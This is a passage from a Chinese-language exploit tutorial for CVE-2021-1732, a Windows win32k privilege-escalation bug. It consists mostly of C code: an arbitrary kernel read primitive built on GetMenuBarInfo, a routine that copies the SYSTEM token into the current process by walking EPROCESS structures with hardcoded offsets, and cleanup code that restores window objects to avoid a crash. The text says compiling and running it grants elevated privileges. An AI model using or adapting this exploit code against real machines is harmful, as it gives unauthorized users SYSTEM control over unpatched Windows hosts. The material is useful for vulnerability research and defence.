QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);
if (!qwSPMenu && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 删除g_hWnd[1]的WS_CHILD
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
现在就可以通过设置*(spMenu + 0x58)的值,来实现任意地址的读取:
QWORD ReadData_CVE_2021_1732(QWORD pTarAddress)
{
BYTE bValue[0x8] = { 0 };
RECT Rect = { 0 };
if (!GetWindowRect(g_hWnd[1], &Rect))
{
ShowError("GetWindowRect", GetLastError());
goto exit;
}
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(mbi);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;
if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi))
{
ShowError("GetMenuBarInfo", GetLastError());
goto exit;
}
*(PDWORD)bValue = mbi.rcBar.left - Rect.left;
*(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;
exit:
return *(PQWORD)bValue;
}
3.提权
具有任意地址读写的能力,就可以通过替换Token实现提权:
BOOL EnablePrivileges_CVE_2021_1732()
{
BOOL bRet = TRUE;
CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;
QWORD qwSytemAddr = GetSystemProcess();
if (!qwSytemAddr)
{
bRet = FALSE;
goto exit;
}
// 获取system进程EPROCESS的地址和Token
QWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr);
QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);
// 找到当前进程的EPROCESS
QWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;
do {
qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset;
qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset);
} while (qwPID != qwCurPID);
// 替换Token
if (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken))
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
4.修复数据
提权完成之后,为了防止退出进程时发生BSOD,还需要将利用该漏洞过程中修改的窗口对象的成员修复回原来的数据:
// 修复数据,防止蓝屏
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);
QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);
QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);
if (qwWndOffset > qwTriggerOffset)
{
printf("qwWndOffset to larger\n");
goto exit;
}
qwWndOffset = qwTriggerOffset - qwWndOffset;
DWORD dwFlagsOffset = 0xE8;
DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);
dwFlags &= ~0x800;
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);
if (!qwBuffer)
{
bRet = FALSE;
ShowError("HeapAlloc", GetLastError());
goto exit;
}
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 增加g_hWnd[1]的WS_CHILD
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 恢复g_hWnd[1]的spMenu
if (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 删除g_hWnd[1]的WS_CHILD
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
五.运行结果
完整代码保存在:。编译运行即可成功提权:
六.参考资料